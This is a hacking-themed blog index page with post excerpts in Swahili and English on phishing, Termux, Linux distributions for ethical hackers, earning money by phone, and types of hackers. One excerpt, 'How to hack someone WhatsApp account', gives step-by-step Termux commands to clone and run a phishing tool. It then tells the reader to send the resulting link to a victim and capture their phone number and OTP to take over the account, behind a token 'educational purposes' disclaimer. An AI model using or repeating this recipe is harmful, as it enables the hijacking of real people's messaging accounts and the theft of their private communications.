Skip to main content

Posts

HACKING KWA NJIA YA PHISHING (Part 01)

Phishing ni mojawapo ya vitisho vya kawaida na hatari zaidi vya usalama wa mtandao. Ni aina ya shambulio la mtandao ambapo wadukuzi wanadanganya watu kutoa taarifa nyeti kama nywila, namba za kadi ya mkopo, au data binafsi kwa kujifanya kuwa chombo kinachoaminika. Katika somo hili, nitakuelezea kwa undani kila kitu kuhusu phishing, jinsi inavyofanya kazi, na jinsi ya kujikinga nayo. --- Phishing ni Nini? Neno "Phishing" limetokana na neno "fishing" kwa sababu wadukuzi hutumia chambo kuwavuta waathirika. Chambo hiki mara nyingi huja kwa njia ya barua pepe, tovuti feki, ujumbe wa maandishi, au simu. Mbinu hizi zinalenga kuwarubuni watu kubonyeza viungo hatari, kupakua programu hasidi, au kutoa taarifa za siri. --- Phishing Inavyofanya Kazi Mchakato wa phishing kwa kawaida hufuata hatua hizi: 1. Kuchunguza Mwathirika Wadukuzi hukusanya taarifa kuhusu lengo lao, kama anwani za barua pepe, majina, au hata nafasi za kazi, ili kufanya shambulio lao lionekane la kuaminika....
Recent posts

How to Become a Hacker

--- Introduction Welcome to the Duduu Mendez Community! I'm Duduu_Mendez , and today, we’re diving into an exciting and often misunderstood world— hacking . If you’ve ever wondered how to become a hacker, this guide will set you on the right path. Whether you dream of ethical hacking, protecting systems, or simply learning out of curiosity, you’re in the right place. By the end of this article, you'll understand the fundamental skills, mindset, and tools necessary to begin your hacking journey. --- What is Hacking? Hacking is not just about breaking into systems; it's the art of problem-solving and exploring the limits of technology. There are three main types of hackers: 1. White Hat (Ethical Hackers) : Protect systems and organizations by identifying vulnerabilities. 2. Black Hat : Engage in illegal activities for personal gain. 3. Grey Hat : Operate in between, sometimes breaching systems but without malicious intent. Visual Idea : Include an infographic showing these ha...

INTRODUCTION OF TERMUX

WHAT IS TERMUX??πŸ€”πŸ€” Termux is an exceptionally robust terminal emulator designed specifically for Android devices, allowing users to dive into a comprehensive Linux environment right from their smartphones or tablets.  This innovative application provides a myriad of functionalities, empowering users to run command-line tools, install a variety of software packages, and even engage in software development activities, making it an invaluable resource for novices as well as seasoned developers. One of the standout features of Termux is its capability to deliver a full-fledged Linux experience without necessitating root access, which often poses risks to device security. Within Termux, users can leverage the built-in package manager called `pkg`, which facilitates the installation of an extensive array of programming languages and utilities. For example, a user keen on exploring web development can effortlessly install Node.js by executing the command `pkg install nodejs` in the termina...

MWISHO WA DARASA LA NETWORKING KWA ETHICAL HACKERS

πŸ€ Tutaangalia Vitu Gani Vinavyo Msaidia Hackers Kufanya Hacking . 1. OS (Opeeating System 🐧) Katika Os Tunaongelea Kuhusu Operating System mfano Window Hii ni OS ambayo Ni Maarufu sana ila leo tunaangalia OS ambazo zitakusaidia wewe Kama Ethical Hacker au Cyber Security ama Penetration tester . I. LINUX πŸ‰ Katika OS Ya Linux ina Vipengele Vingi Kama Kuna Red Linux , Kali Linux .nk ila katika LINUX kuna moja ambayo imekuwa ikipendwa sana na imekuwa maarufu kutokana na uwezo wa kufanya Kazi .(Kali LinuxπŸ‰)). Ina zaidi Ya Tools 100+ za Kuweza Kufanya Hacking , Penetretion Testing ,Networking nk.  II. UBUNTU 🐧 Hii pia Ni OS ambayo imekuwa na umaarufu katika maswala Ya Hacking Pia Ipo Kama Kali Linux Inafanya Kazi sawa ila Sifa Ya Ubuntu Haina Kasi(speed) kama Kali Linux Ndio Maana Watu Wengi Hutumia Kali Linux . Ila Kitu Kizuri Ni kile Kinachokufaa Na Unacho kipenda . III .DEBIAN 🦈 Ni OS ambayo Inatumika Katika Penetration Testing Ni Version Ya Kauli Linux .pia ina Tools Nyingi Kama Ka...

HOW TO HACK SOMEONE WHATSAPP ACCOUNT

There different ways used for hacking WhatsApp Account,  Today we gonna see how to hack someone WhatsApp Account using TERMUX  EQUIPMENT TO BE USED Termux App  Storage 200MB+ Cloned WhatsApp app Mobile data / Wifi πŸ”° How to Hack Whatsapp By Sending a Link πŸ”° πŸŒ€ OTP Bypass Whatsapp Hacking Method ( Termux Phishing Tool )  ⚠️ Only For Educational Purposes! Copy and paste the following commands on termux  Commands :- git clone https://github.com/Ignitetch/AdvPhishing.git ls cd AdvPhishing/ ls chmod 777 * ls ./Linux-Setup.sh ./AdvPhishing.sh After all You will get Name of Apps which you want hack, input the Number of App which you want to hack.  Now you will get A final link.  Share that link to Your Friends or Anyone whom you want Hack. he will put Contact on Website. Now you will get Contact which he filled up in Phishing Site.  Clone your whatapp and Send a otp on That number from your custom whatapp. he will put otp in website, after all you will recive that otp in your Termux app, now...

NAMNA YA KUJIINGIZIA KIPATO KWA KUTUMIA SIMU (Tengeneza pesa kwa kutumia simu yako ya mkononi)

Karibu Tena katika blog yetu ya DUDUU_MENDEZ COMMUNITY.  Leo tutaenda kuangalia njia mbalimbali ambazo zitakusaidia kujiingizia kipato kupitia simu yako ya mkononi Kuna watu ambao hukaa ndani kwa masaa kadhaa na kujiingizia kiasi flani. Kwasasa dunia imekua sana katika suala la teknolojia na mitandao  Leo nitakuonyesha njia mbalimbali ambazo unaweza kuzitumia ukajiingizia kipato kwa kutumia simu yako ya mkononi NJIA ZA KUJIINGIZIA KIPATO KWA KUTUMIA SIMU YAKO  1.TIKTOK Kwasasa tiktok imeweza kuwalipa wengi, kuna watu ambao wanaendesha maisha yao kwa kutumia tiktok,  watu hao ndo wale unao waona wanaitwa content creators Content creators sasa hivi wamekuwa wengi katika kila kona ya dunia watu wengi wejiingizia kipato kupitia hio kazi yao Ili uweze kulipwa na tiktok itakubidi uwe umefungua international account na umewasha baadhi ya settings KAMA UNAHITAJI TIKTOK ACCOUNT YA INTERNATIONAL GUSA HAPA πŸ‘‰ TIKTOK   πŸ‘ˆ Nimefanya utafiti wangu nimeona watu wengi wapo tiktok na account kubwa laki...

⚪DARASA LA KWANZA KATIKA ETHICAL HACKING πŸ‘¨‍πŸ’»

πŸ€ HACKING NI NINI? Najua Neno hacking sio geni kwa watu wengi maana umeweza kusikia kuwa watu wengi wa wamekuwa wa hanga katika hacking . πŸ€ MAANA :- Ni Kitendo Cha Kuingilia Mfumo wa Kompyuta . πŸ€ HACKER NI NANI?πŸ‘¨‍πŸ’» Ni mtu ambae mwenye ujuzi wa kutumia kompyuta na kuweza kuingilia mfumo wa kompyuta. πŸ€ AINA ZA HACKERS πŸ‘¨‍πŸ’» Kuna Aina Nyingi za Hackers zaidi Ya Tano leo tutaongelea Baadhi. 1.WHITE HACKERSπŸ‘¨‍πŸ’» Ni Aina Ya Hackers wenye uwezo wa kuingilia mfumo wa kompyuta na kudukua taarifa fulani katika mfumo huu ila wanakuwa na Ruhusa. 2. BLACK HACKERSπŸ‘¨‍πŸ’» Ni Aina Ya Hackers wenye uwezo wa kuingilia mfumo wa kompyuta na kudukua taarifa fulani katika mfumo huu ila wanakuwa na Bila Ya Kupewa Ruhusa. 3.GREY HACKERSπŸ‘¨‍πŸ’» Ni Aina Ya Hackers wenye uwezo wa kuingilia mfumo wa kompyuta na kudukua taarifa fulani katika mfumo huu ila wanakuwa na Ruhusa Au wasiwe na Ruhusa (vigeugeu) . 4.SCRIPT KIDDIESπŸ‘¨‍πŸ’» Hawa Tunaweza Kusema Sio Hackers ama Hackers ambao hawana ujuzi kuhusu networking ...